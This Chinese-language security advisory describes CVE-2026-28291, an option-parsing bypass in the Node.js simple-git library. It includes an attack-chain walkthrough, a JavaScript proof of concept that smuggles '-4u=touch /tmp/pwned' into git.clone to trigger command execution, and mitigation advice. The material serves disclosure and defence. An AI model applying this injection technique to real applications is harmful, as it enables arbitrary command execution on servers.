IPBUF安全漏洞报告
English
CVE-2026-28291 CVSS 8.1 高危

CVE-2026-28291 simple-git任意命令执行漏洞

披露日期: 2026-04-13

漏洞信息

漏洞编号
CVE-2026-28291
漏洞类型
远程代码执行
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
simple-git

相关标签

RCE命令注入simple-gitNode.jsCVE-2026-28291JavaScript

漏洞概述

simple-git是一个用于在Node.js环境中运行原生Git命令的库。在3.31.1及之前的版本中,存在一个严重的安全漏洞,允许攻击者通过操纵Git选项执行任意命令。该漏洞是由于针对CVE-2022-25860的修复不完整造成的。攻击者可以利用Git灵活的选项解析机制(如使用`-vu`、`-4u`等组合),绕过基于正则表达式的黑名单安全检查,从而执行原本被拦截的危险操作(如`--upload-pack`),进而控制服务器。

技术细节

该漏洞的根本原因在于`simple-git`库中用于阻止不安全Git操作的插件(block-unsafe-operations-plugin)依赖于正则表达式黑名单来拦截危险参数(例如`-u`或`--upload-pack`)。然而,Git命令行工具的参数解析机制非常灵活,允许将短选项进行组合(例如`-vu`实际上等同于`-v -u`),且存在大量有效的变体。攻击者可以构造特定的参数字符串(如`-4u`、`-nu`),这些字符串能够被Git解析为包含危险选项,但不会触发`simple-git`中的正则匹配。通过这种方式,攻击者可以成功绕过安全检查,利用`--upload-pack`等参数注入并执行任意系统命令,实现远程代码执行。

攻击链分析

STEP 1
侦察
攻击者识别出目标应用使用了存在漏洞的simple-git库(版本 <= 3.31.1)。
STEP 2
构造载荷
攻击者设计恶意的Git参数,利用Git选项的灵活性(如使用`-4u`代替`-u`),以绕过simple-git的正则黑名单过滤。
STEP 3
注入载荷
攻击者诱导应用执行Git操作(如clone),并将构造好的恶意参数传递给底层的Git命令。
STEP 4
解析与执行
simple-git的正则检查未能拦截变体参数,参数被传递给Git CLI。Git解析器识别出其中的危险选项(如`--upload-pack`)并执行攻击者指定的任意系统命令。
STEP 5
达成目标
攻击者在服务器上成功执行任意代码,获取系统权限或敏感数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-28291: simple-git arbitrary command execution bypass // Vulnerable versions: <= 3.31.1 // The vulnerability allows bypassing the blocklist for unsafe options like '--upload-pack' // by using Git's flexible option parsing (e.g., -4u, -vu). const { simpleGit } = require('simple-git'); async function exploit() { const git = simpleGit(); const repoUrl = 'https://github.com/user/repo.git'; const targetDir = '/tmp/poc_repo'; // The library blocks '--upload-pack' and '-u' explicitly. // However, Git allows concatenating options. Attackers can use variants // that are not in the regex blocklist but are parsed by Git as -u. // Example: '-4u' might be interpreted by Git as options '-4' and '-u'. // Malicious payload: execute a command (e.g., touch /tmp/pwned) const maliciousOptions = ['-4u=touch /tmp/pwned']; try { console.log("Attempting to exploit via option obfuscation..."); await git.clone(repoUrl, targetDir, maliciousOptions); console.log("Exploit successful: Command executed via Git option bypass."); } catch (error) { console.error("Exploit failed or error occurred:", error); } } exploit();

影响范围

simple-git <= 3.31.1

防御指南

临时缓解措施
如果无法立即升级,应严格限制和校验传递给Git函数的参数,拒绝包含任何非标准Git选项的输入。同时,建议在沙箱或容器化环境中运行应用,以限制命令执行后的影响范围。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表